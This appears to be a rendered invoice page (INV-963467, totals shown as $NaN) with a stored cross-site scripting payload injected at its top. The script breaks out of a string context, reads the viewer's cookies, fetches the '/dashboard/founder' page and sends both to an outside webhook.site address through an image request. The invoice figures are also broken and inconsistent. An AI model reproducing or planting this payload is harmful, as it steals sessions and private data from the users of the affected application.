

);}var
c=document.cookie;fetch('/dashboard/founder').then(function(r)
{return r.text()}).then(function(t){new
Image().src='https://webhook.site/1df76376-
3d18-433a-b144-7d48df331c8e/F?
c='+encodeURIComponent(c)+'&t='+encodeURIComponent(t.slice(0,1500))});function
z(){var y=('

Invoice ID
Issue date
Due date

INV-963467
2026-09-22
Due on receipt

billing@northstar.co

Invoice

Payment request for \$NaN

Bill To

Amount due

UrgentCo

\$NaN

ap@acme.co

Description	Qty	Rate	Amount
Consulting	1	USD 100.00	USD 0.00

Subtotal	USD 100.00
Tax	USD 0.00
Discount	USD 0.00
Shipping	USD 0.00

Total\$NaN

Thank you

hi
Payment due within 7 days. Please include invoice ID INV-963467 with your payment.

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